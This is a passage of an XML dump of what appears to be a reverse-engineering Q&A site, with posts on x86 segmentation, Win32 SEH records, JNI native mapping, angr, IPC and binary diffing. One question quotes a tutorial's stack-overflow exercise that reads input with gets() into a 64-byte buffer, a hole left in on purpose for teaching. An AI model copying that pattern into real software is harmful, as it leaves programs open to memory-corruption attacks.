       }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="24904" LastEditorUserId="-1" LastEditDate="2020-06-17T09:54:32.040" LastActivityDate="2018-08-05T21:21:39.157" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="18991" PostTypeId="2" ParentId="18985" CreationDate="2018-08-06T08:17:12.490" Score="2" Body="&lt;p&gt;In protected mode DS is a selector, not a segment. It defines physical address, permissions and other properties. &#xA;Normally, an instruction such as the one in your example, uses DS by default, but this can be overridden (by instruction prefixes) to use a different one (ES, FS, GS, SS etc.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have a look at the programming manual from Intel: &lt;a href=&quot;https://www.intel.com/content/www/us/en/architecture-and-technology/64-ia-32-architectures-software-developer-vol-1-manual.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.intel.com/content/www/us/en/architecture-and-technology/64-ia-32-architectures-software-developer-vol-1-manual.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="25126" LastActivityDate="2018-08-06T08:17:12.490" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="18992" PostTypeId="1" CreationDate="2018-08-06T10:12:12.203" Score="1" ViewCount="128" Body="&lt;p&gt;When writing a C implementation for a native Java method in Android, the rule is to name the C function according to the convention &quot;Java_com_...&quot;. But I encountered an APK in which there are no such names in the &lt;code&gt;so&lt;/code&gt; files and yet the program runs perfectly well. Are there other ways to map a Java native declaration to some function in the &lt;code&gt;so&lt;/code&gt; files? Is there a technique to find the implementing function? I tried JDB, but it couldn't get into native codes. GDB requires the function name in the first place, which is missing in my case.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I forgot to mention that the Java code is obfuscated.&lt;/p&gt;&#xA;" OwnerUserId="25229" LastActivityDate="2018-08-06T10:12:12.203" Title="Missing Map from Java Native Method to C Code" Tags="|ida|android|obfuscation|objdump|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="18993" PostTypeId="1" CreationDate="2018-08-06T10:12:54.557" Score="1" ViewCount="467" Body="&lt;p&gt;Let's suppose this (very ugly) c code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;&#xA;#include &amp;lt;string.h&amp;gt;&#xA;#include &amp;lt;signal.h&amp;gt;&#xA;&#xA;char sav_argv[100];&#xA;&#xA;void on_sigtrap(int signo)&#xA;{&#xA;    if (strcmp(sav_argv, &quot;hello&quot;) == 0)&#xA;    {&#xA;        printf(&quot;OK!\n&quot;);&#xA;    } else {&#xA;        printf(&quot;NOK\n&quot;);&#xA;    }&#xA;}&#xA;&#xA;int main(int argc, char *argv[])&#xA;{&#xA;    memset(sav_argv,100,0);&#xA;    memcpy(sav_argv,argv[1],100);&#xA;    signal(SIGTRAP,on_sigtrap);&#xA;    __asm__(&quot;int3&quot;);&#xA;    return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have compiled this c program with gcc (linux 64 bits elf).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What i want to do is to solve it with an angr python script.&#xA;It does work if i remove the debuger trap but it does not work with debuger trap.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to make angr work on this c program ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="18590" LastActivityDate="2018-08-06T10:12:54.557" Title="debugger trap with angr" Tags="|anti-debugging|angr|" AnswerCount="0" CommentCount="8" ContentLicense="CC BY-SA 4.0" />
  <row Id="18994" PostTypeId="2" ParentId="18974" CreationDate="2018-08-06T12:18:14.737" Score="2" Body="&lt;p&gt;The columns are like follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  address| bytes     | disassembly&#xA;---------|-----------|--------------------------&#xA;    f864:|  30a5ffff |  sd  ra,-23248(ra)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Address &lt;em&gt;usually&lt;/em&gt; corresponds to the execution address for structured file formats (e.g. ELF), but for raw binary it matches the plain file offset (i.e. the file is assumed to be loaded at 0). If you want to pretend that your file is loaded at another address, you can pass the &lt;code&gt;--adjust-vma=OFFSET&lt;/code&gt; flag to &lt;code&gt;objdump&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You don't see &lt;code&gt;.text&lt;/code&gt; in the output because the raw binary has no section headers to describe its structure, so &lt;code&gt;objdump&lt;/code&gt; makes up a pseudo-section &lt;code&gt;.data&lt;/code&gt; to represent the file's contents. Normally data sections are not disassembled, so you need to use &lt;code&gt;-D&lt;/code&gt; instead of &lt;code&gt;-d&lt;/code&gt; to force its disassembly. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The disassembly you quote looks quite nonsensical, so probably you either have data intermixed with code (a common situation in embedded firmwares), or the binary is not MIPS code but some other architecture.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;8c670000&lt;/code&gt;, &lt;code&gt;8c670004&lt;/code&gt; and &lt;code&gt;8c670008&lt;/code&gt; in the second snippet actually looks like a table of addresses to me, so probably it's data. You'll need to look through disassembly and sort out data from code.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2018-08-06T12:18:14.737" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="18995" PostTypeId="1" AcceptedAnswerId="18996" CreationDate="2018-08-06T12:30:02.300" Score="3" ViewCount="709" Body="&lt;p&gt;I have read this kind of code in some tutorials :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;push handler ; Address of handler function&#xA;push FS:[0] ; Address of previous handler&#xA;mov FS:[0],ESP ; Install new Handler&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I do not understand something: for me the 2 push are not in the good order. &#xA;ESP points on old handler ?&#xA;But all tutorials i have read works like this... so if can anyone explain me...&lt;/p&gt;&#xA;" OwnerUserId="18590" LastEditorUserId="245" LastEditDate="2018-08-06T12:40:18.300" LastActivityDate="2018-08-06T18:52:11.617" Title="Win32 SEH address" Tags="|seh|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18996" PostTypeId="2" ParentId="18995" CreationDate="2018-08-06T13:00:07.343" Score="1" Body="&lt;p&gt;Well the comment: &quot;Install new handler&quot; is a bit misleading. What you are installing is &lt;code&gt;EXCEPTION_REGISTRATION_RECORD&lt;/code&gt; and if you would check how this structure looks like it would be more obvious that this is the way:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;typedef struct _EXCEPTION_REGISTRATION_RECORD&#xA;{&#xA;     PEXCEPTION_REGISTRATION_RECORD Next;&#xA;     PEXCEPTION_DISPOSITION Handler;&#xA;} EXCEPTION_REGISTRATION_RECORD, *PEXCEPTION_REGISTRATION_RECORD;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;FS:[0]&lt;/code&gt; also doesn't point to the handler itself but the same &lt;code&gt;EXCEPTION_REGISTRATION_RECORD&lt;/code&gt; structure. So the previous record that is at &lt;code&gt;FS:[0]&lt;/code&gt; goes to the &lt;code&gt;Next&lt;/code&gt; and the one that you are installing goes to the &lt;code&gt;Handler&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Naming is also a bit confusing as we call it the previous handler but it's being set to the &lt;code&gt;Next&lt;/code&gt; field. &lt;/p&gt;&#xA;" OwnerUserId="18014" LastActivityDate="2018-08-06T13:00:07.343" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18998" PostTypeId="1" CreationDate="2018-08-06T14:05:51.363" Score="1" ViewCount="591" Body="&lt;p&gt;I have exe file in my pc(exe1) that send message to another exe (client-server maybe).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I dont know which exe recived this message from exe1 and with which iso that message encoding.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;How can I see which exe recived message from exe1.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;How can I see with which ISO this message encoding?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="23993" LastEditorUserId="23993" LastEditDate="2018-08-06T15:58:22.383" LastActivityDate="2018-08-07T20:14:41.473" Title="How to watch communication between 2 processes?" Tags="|ida|dynamic-analysis|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="18999" PostTypeId="2" ParentId="18985" CreationDate="2018-08-06T14:38:02.383" Score="5" Body="&lt;p&gt;Just to clarify the answer of memo (which lacks of a good example).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When speaking about the segment registers (&lt;code&gt;cs&lt;/code&gt;, &lt;code&gt;ds&lt;/code&gt;, &lt;code&gt;es&lt;/code&gt;, &lt;code&gt;ss&lt;/code&gt;), the semantic of the syntax &lt;code&gt;cs:0xdeadbeef&lt;/code&gt; must be interpreted as the concatenation of the prefix stored in &lt;code&gt;cs&lt;/code&gt; and the value appended to it. But, if we step back to see the big picture, it can be seen as: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The address &lt;code&gt;0xdeadbeef&lt;/code&gt; in the memory segment pointed by &lt;code&gt;cs&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;In fact, since Intel 8086, the memory model of these CPU is &lt;em&gt;segment based&lt;/em&gt;, meaning that each segment register store a prefix for the memory address that will allow to reach one block of memory for a specific usage.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see on the picture below (courtesy to &lt;a href=&quot;https://en.wikipedia.org/wiki/X86_memory_segmentation&quot; rel=&quot;nofollow noreferrer&quot;&gt;Wikipedia page about Intel x86 memory segmentation&lt;/a&gt;), the main memory is sliced into several memory segments and accessed through calls to several segment registers (not on the picture, but you can guess that these registers are initialized with the LDT).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/NheT4.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/NheT4.png&quot; alt=&quot;Intel 8086 memory model based on segment registers&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your case:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov al, byte ptr ds:xxxxx&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Does probably means that you are moving a variable from the data segment to your &lt;code&gt;al&lt;/code&gt; register. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But, this kind of code is not needed in normal mode as the &lt;code&gt;ds&lt;/code&gt; registers is often set to zero (and have no effect when used like that). On the contrary, in protected mode, the &lt;code&gt;ds&lt;/code&gt; segment register will be needed to point onto the right memory segment. And, that is probably a line which comes from an assembly code which is executed in protected mode (except if it has been obfuscated, then they break the rules all the time and we cannot tell anymore what was the intent without knowing what is the value of &lt;code&gt;ds&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope this was a bit more clear this way!&lt;/p&gt;&#xA;" OwnerUserId="53" LastEditorUserId="53" LastEditDate="2018-08-07T07:26:56.450" LastActivityDate="2018-08-07T07:26:56.450" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19000" PostTypeId="2" ParentId="16330" CreationDate="2018-08-06T17:41:15.090" Score="2" Body="&lt;p&gt;for decompressing RO or RW sections,&#xA;I recommend using the utilities from the sources.&#xA;q6zip_ro_uncompress.py or rw_decompress_file.py&lt;/p&gt;&#xA;&#xA;&lt;p&gt;universal method of unpacking - doesn't exist,&#xA;even on one chipset, the algorithm, like add q6zip, or RO dictionary size can change.&#xA;so, better has the same version of sources.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't give a more accurate answer,&#xA;because while I was olny decompress the few RO section,&#xA;RW - unpacked with errors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;unpack is better on Linux. and sources need recompile.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also recommend trying to swith the device into download mode, and just dump the memory. although I'm not sure that there will be all the unpacked blocks, but worth a try.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I now have a similar problem with MDM9230, TCL(alcatel) Y900NB, I don't even know what version of dlpager is used (( and  I can't unpack it too.&#xA;(i haven't HW, I just work with SW)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;in principle, all the above just flooding, I only want to ask Willem Hengeveld, maybe he will tell something more, but need rep 50 for comment, so need answer ))&lt;/p&gt;&#xA;" OwnerUserId="25252" LastEditorUserId="25252" LastEditDate="2018-08-06T17:53:25.730" LastActivityDate="2018-08-06T17:53:25.730" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="19001" PostTypeId="2" ParentId="18995" CreationDate="2018-08-06T18:52:11.617" Score="1" Body="&lt;p&gt;fs:[0] points to ETHREAD&lt;br&gt;&#xA;whose first is member NtTib which again is a structure&lt;br&gt;&#xA;whose first member is _EXCEPTION_REGISTRATION_RECORD  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0:000&amp;gt; dt ntdll!_TEB NtTib.* @$thread&#xA;   +0x000 NtTib  : &#xA;      +0x000 ExceptionList : 0x0010f76c _EXCEPTION_REGISTRATION_RECORD&#xA;      +0x004 StackBase : 0x00110000 Void&#xA;      +0x008 StackLimit : 0x0010d000 Void&#xA;      +0x00c SubSystemTib : (null) &#xA;      +0x010 FiberData : 0x00001e00 Void&#xA;      +0x010 Version : 0x1e00&#xA;      +0x014 ArbitraryUserPointer : (null) &#xA;      +0x018 Self   : 0x7ffde000 _NT_TIB&#xA;&#xA;&#xA;&#xA;0:000&amp;gt; ? @$thread&#xA;Evaluate expression: 2147344384 = 7ffde000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;the exception registration record contains the chain of exception handlers&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0:000&amp;gt; dx -r2 ((ntdll!_EXCEPTION_REGISTRATION_RECORD *)0x10f76c)&#xA;((ntdll!_EXCEPTION_REGISTRATION_RECORD *)0x10f76c)                 : 0x10f76c [Type: _EXCEPTION_REGISTRATION_RECORD *]&#xA;    [+0x000] Next             : 0x10f91c [Type: _EXCEPTION_REGISTRATION_RECORD *]&#xA;        [+0x000] Next             : 0xffffffff [Type: _EXCEPTION_REGISTRATION_RECORD *]&#xA;        [+0x004] Handler          : 0x77ade115 [Type: _EXCEPTION_DISPOSITION (*)(_EXCEPTION_RECORD *,void *,_CONTEXT *,void *)]&#xA;    [+0x004] Handler          : 0x77ade115 [Type: _EXCEPTION_DISPOSITION (*)(_EXCEPTION_RECORD *,void *,_CONTEXT *,void *)]&#xA;        [Type: _EXCEPTION_DISPOSITION (_EXCEPTION_RECORD *,void *,_CONTEXT *,void *)]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;like this &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0:000&amp;gt; !exchain&#xA;0010f76c: ntdll!_except_handler4+0 (77ade115)&#xA;  CRT scope  0, filter: ntdll!LdrpDoDebuggerBreak+32 (77b605ac)&#xA;                func:   ntdll!LdrpDoDebuggerBreak+36 (77b605b0)&#xA;0010f91c: ntdll!_except_handler4+0 (77ade115)&#xA;  CRT scope  0, filter: ntdll!_LdrpInitialize+db (77b40ee4)&#xA;                func:   ntdll!_LdrpInitialize+f0 (77b40ef9)&#xA;Invalid exception stack at ffffffff&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;when you push handler &lt;/p&gt;&#xA;&#xA;&lt;p&gt;esp will hold the handler &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;esp  0x12345678 _SEH_HANDLER&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;when you push fs:[0]  you push a pointer to     &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;dx -r2 ((ntdll!_EXCEPTION_REGISTRATION_RECORD *)0x10f76c)&#xA;&#xA;0:000&amp;gt; dd esp&#xA;0010f750  779f8159 00000000 00000000 7ffdf000&#xA;&#xA;0:000&amp;gt; a &#xA;77b605a6 push fs:[0]&#xA;push fs:[0]&#xA;77b605ad &#xA;&#xA;0:000&amp;gt; p&#xA;&#xA;0:000&amp;gt; dd esp&#xA;0010f74c  **0010f76c** 779f8159 00000000 00000000&#xA;0010f75c  7ffdf000 00000000 0010f750 77ade115&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;mov fs:[0] esp&lt;/p&gt;&#xA;&#xA;&lt;p&gt;with this you swap out the old EXCEPTION_REGISTRATION_RECORD WITH NEW ONE&lt;/p&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2018-08-06T18:52:11.617" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="19003" PostTypeId="2" ParentId="18998" CreationDate="2018-08-07T11:55:03.867" Score="4" Body="&lt;p&gt;There are multiple ways two processes can communicate. The general term for this is IPC (Interprocess Communications). On Windows, the following &lt;a href=&quot;https://docs.microsoft.com/en-us/windows/desktop/ipc/interprocess-communications&quot; rel=&quot;nofollow noreferrer&quot;&gt;forms of IPC&lt;/a&gt; are commonly used:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;COM &lt;/li&gt;&#xA;&lt;li&gt;Window messages (simple messages for small data amounts, &lt;code&gt;WM_COPYDATA&lt;/code&gt; for bigger amounts)&lt;/li&gt;&#xA;&lt;li&gt;File mapping, or named shared memory  &lt;/li&gt;&#xA;&lt;li&gt;Shared memory&lt;/li&gt;&#xA;&lt;li&gt;Pipes (named or anonymous)&lt;/li&gt;&#xA;&lt;li&gt;Sockets (e.g. TCP/IP)&lt;/li&gt;&#xA;&lt;li&gt;passing info via command-line arguments (though this is not really IPC)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Less common but still possible:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Clipboard&lt;/li&gt;&#xA;&lt;li&gt;Mailslots&lt;/li&gt;&#xA;&lt;li&gt;RPC (remote procedure call)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Which one is actually used is difficult to say with limited information you provided. Using an API monitor, as suggested by @dsasmblr may give you some hints. You can also just debug or RE the executable which processes user input and see what is being done with the entered information.&lt;/p&gt;&#xA;" OwnerUserId="60" LastEditorUserId="60" LastEditDate="2018-08-07T20:14:41.473" LastActivityDate="2018-08-07T20:14:41.473" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="19005" PostTypeId="1" AcceptedAnswerId="19006" CreationDate="2018-08-07T13:25:46.090" Score="0" ViewCount="409" Body="&lt;p&gt;I was following a tutorial that introduced stack overflows. Here is the c Code.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdlib.h&amp;gt;&#xA;#include &amp;lt;unistd.h&amp;gt;&#xA;#include &amp;lt;stdio.h&amp;gt;&#xA;&#xA;int main(int argc, char **argv)&#xA;{&#xA;  volatile int modified;&#xA;  char buffer[64];&#xA;&#xA;  modified = 0;&#xA;  gets(buffer);&#xA;&#xA;  if(modified != 0) {&#xA;      printf(&quot;you have changed the 'modified' variable\n&quot;);&#xA;  } else {&#xA;      printf(&quot;Try again?\n&quot;);&#xA;  }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and heres the disassembled main function&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0x080483f4 &amp;lt;main+0&amp;gt;:    push   ebp&#xA;0x080483f5 &amp;lt;main+1&amp;gt;:    mov    ebp,esp&#xA;0x080483f7 &amp;lt;main+3&amp;gt;:    and    esp,0xfffffff0&#xA;0x080483fa &amp;lt;main+6&amp;gt;:    sub    esp,0x60&#xA;0x080483fd &amp;lt;main+9&amp;gt;:    mov    DWORD PTR [esp+0x5c],0x0&#xA;0x08048405 &amp;lt;main+17&amp;gt;:   lea    eax,[esp+0x1c]&#xA;0x08048409 &amp;lt;main+21&amp;gt;:   mov    DWORD PTR [esp],eax&#xA;0x0804840c &amp;lt;main+24&amp;gt;:   call   0x804830c &amp;lt;gets@plt&amp;gt;&#xA;0x08048411 &amp;lt;main+29&amp;gt;:   mov    eax,DWORD PTR [esp+0x5c]&#xA;0x08048415 &amp;lt;main+33&amp;gt;:   test   eax,eax&#xA;0x08048417 &amp;lt;main+35&amp;gt;:   je     0x8048427 &amp;lt;main+51&amp;gt;&#xA;0x08048419 &amp;lt;main+37&amp;gt;:   mov    DWORD PTR [esp],0x8048500&#xA;0x08048420 &amp;lt;main+44&amp;gt;:   call   0x804832c &amp;lt;puts@plt&amp;gt;&#xA;0x08048425 &amp;lt;main+49&amp;gt;:   jmp    0x8048433 &amp;lt;main+63&amp;gt;&#xA;0x08048427 &amp;lt;main+51&amp;gt;:   mov    DWORD PTR [esp],0x8048529&#xA;0x0804842e &amp;lt;main+58&amp;gt;:   call   0x804832c &amp;lt;puts@plt&amp;gt;&#xA;0x08048433 &amp;lt;main+63&amp;gt;:   leave&#xA;0x08048434 &amp;lt;main+64&amp;gt;:   ret&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I understand that when it says &lt;code&gt;sub esp,60&lt;/code&gt; it's making a stack frame for the &lt;em&gt;Main&lt;/em&gt; function. So why does it initialize the modified variable(&lt;code&gt;mov  DWORD PTR [esp+0x5c],0x0&lt;/code&gt;) at 5c in the stack frame and not at the bottom? Also, why does it only make room for 60 items(&lt;code&gt;sub esp,60&lt;/code&gt;) when it knows there will be set length of 64?&lt;/p&gt;&#xA;" OwnerUserId="25233" LastActivityDate="2018-08-07T14:45:06.880" Title="Why code subtracts 60 from esp when the length of the variable is 64" Tags="|stack|buffer-overflow|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19006" PostTypeId="2" ParentId="19005" CreationDate="2018-08-07T14:45:06.880" Score="1" Body="&lt;p&gt;Because it's 0x60 i.e. 96 in decimal. So it actually allocates 64 bytes for the &lt;em&gt;buffer&lt;/em&gt;, then 4 bytes for &lt;em&gt;modified&lt;/em&gt;. And the rest is 0x1С, which compiler added as a spare in the debug build.&lt;/p&gt;&#xA;" OwnerUserId="22324" LastActivityDate="2018-08-07T14:45:06.880" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19007" PostTypeId="1" AcceptedAnswerId="19021" CreationDate="2018-08-07T18:35:30.033" Score="2" ViewCount="2597" Body="&lt;p&gt;On Windows, I can use tools like Process Explorer and Process Hacker to view in-memory strings generated at runtime of a given process. How can I accomplish this same task on Ubuntu?&lt;/p&gt;&#xA;" OwnerUserId="25132" LastActivityDate="2018-08-09T17:33:17.927" Title="How can I view in-memory strings of a process on Linux (Ubuntu)?" Tags="|dynamic-analysis|strings|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19009" PostTypeId="2" ParentId="18985" CreationDate="2018-08-07T21:47:23.647" Score="1" Body="&lt;p&gt;this answer is just to address the query in comment &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;And for example fs[0] on win32 points on TIb structure. Is there&#xA;  another way to get this address ? (I mean where is it in the 4Gb&#xA;  address Space of process?)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;in user mode the thread environment block is pointed by fs:[0]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;you can view it in the virtual address space using any of the following commands under windbg &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0:000&amp;gt; ? fs&#xA;Evaluate expression: 59 = 0000003b&#xA;0:000&amp;gt; dd fs:[0] l 8&#xA;003b:00000000  0012f5b0 00130000 0012d000 00000000&#xA;003b:00000010  00001e00 00000000 7ffdf000 00000000&#xA;0:000&amp;gt; dd 3b:00000000 l8&#xA;003b:00000000  0012f5b0 00130000 0012d000 00000000&#xA;003b:00000010  00001e00 00000000 7ffdf000 00000000&#xA;0:000&amp;gt; dd @$thread l8&#xA;7ffdf000  0012f5b0 00130000 0012d000 00000000&#xA;7ffdf010  00001e00 00000000 7ffdf000 00000000&#xA;0:000&amp;gt; dd @$teb l8&#xA;7ffdf000  0012f5b0 00130000 0012d000 00000000&#xA;7ffdf010  00001e00 00000000 7ffdf000 00000000&#xA;0:000&amp;gt; ? @$teb&#xA;Evaluate expression: 2147348480 = 7ffdf000&#xA;0:000&amp;gt; ? @$thread&#xA;Evaluate expression: 2147348480 = 7ffdf000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;confirming using ds selector &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0:000&amp;gt; ? ds&#xA;Evaluate expression: 35 = 00000023&#xA;0:000&amp;gt; dd ds:[7ffdf000] l8&#xA;0023:7ffdf000  0012f5b0 00130000 0012d000 00000000&#xA;0023:7ffdf010  00001e00 00000000 7ffdf000 00000000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;in x86 cs es ds and ss all will point to same virtual address &#xA;but fs and gs wont as seen below&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0:000&amp;gt; ? ds&#xA;Evaluate expression: 35 = 00000023&#xA;0:000&amp;gt; dd ds:[7ffdf000] l8&#xA;0023:7ffdf000  0012f5b0 00130000 0012d000 00000000&#xA;0023:7ffdf010  00001e00 00000000 7ffdf000 00000000&#xA;0:000&amp;gt; ? cs&#xA;Evaluate expression: 27 = 0000001b&#xA;0:000&amp;gt; dd cs:[7ffdf000] l8&#xA;001b:7ffdf000  0012f5b0 00130000 0012d000 00000000&#xA;001b:7ffdf010  00001e00 00000000 7ffdf000 00000000&#xA;0:000&amp;gt; dd es:[7ffdf000] l8&#xA;0023:7ffdf000  0012f5b0 00130000 0012d000 00000000&#xA;0023:7ffdf010  00001e00 00000000 7ffdf000 00000000&#xA;0:000&amp;gt; dd ss:[7ffdf000] l8&#xA;0023:7ffdf000  0012f5b0 00130000 0012d000 00000000&#xA;0023:7ffdf010  00001e00 00000000 7ffdf000 00000000&#xA;0:000&amp;gt; dd fs:[7ffdf000] l8&#xA;003b:7ffdf000  ???????? ???????? ???????? ????????&#xA;003b:7ffdf010  ???????? ???????? ???????? ????????&#xA;0:000&amp;gt; dd gs:[7ffdf000] l8&#xA;0000:f000  ???????? ???????? ???????? ????????&#xA;0000:f010  ???????? ???????? ???????? ????????&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2018-08-07T21:47:23.647" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19010" PostTypeId="1" CreationDate="2018-08-07T21:56:52.817" Score="4" ViewCount="3952" Body="&lt;p&gt;I have an aarch64 kernel image with the following magic number:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;root@localhost:/# cat msImage|xxd -l4  &#xA;00000000: 4d5a 0091                                MZ..&#xA;&#xA;root@localhost:/# file msImage &#xA;msImage: MS-DOS executable, MZ for MS-DOS&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is it possible to extract the bootable zImage from this ? and also extract the aarch64 elf binary? how?&lt;/p&gt;&#xA;" OwnerUserId="25272" LastActivityDate="2020-07-10T15:16:50.490" Title="extract zImage from MS-DOS executable" Tags="|linux|kernel|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19011" PostTypeId="1" CreationDate="2018-08-08T01:21:27.010" Score="3" ViewCount="9763" Body="&lt;p&gt;Is it possible to find the modifications between a original DLL file and a modified one using x64dbg?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And, if I can't do it with x64dbg, what tool would be better than a debugger to find the modifications done on assembly code between the two files?&lt;/p&gt;&#xA;" OwnerUserId="25273" LastEditorUserId="53" LastEditDate="2018-08-08T08:42:43.217" LastActivityDate="2022-11-29T07:19:37.180" Title="Comparison between orginal and modified DLL files with x64dbg" Tags="|dll|x64dbg|bin-diffing|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="19012" PostTypeId="2" ParentId="19011" CreationDate="2018-08-08T04:48:32.027" Score="4" Body="&lt;p&gt;You shouldn't use a debugger to search for differences. You should use a diff tool. Of course, most diff tools work on ASCII text, but there are some that deal with binary files.&lt;/p&gt;&#xA;&lt;p&gt;Some examples:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://radareorg.github.io/blog/posts/binary-diffing/&quot; rel=&quot;nofollow noreferrer&quot;&gt;radiff2&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://mh-nexus.de/en/hxd/&quot; rel=&quot;nofollow noreferrer&quot;&gt;HxD&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;There are more and you probably will find one that matches exactly your need.&#xA;If you would like to see your modifications in a nice visual manner with already bytes being presented as opcodes there are some options too. I haven't used them (so can't give you my recommendations) but there are at least two that I know of:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a 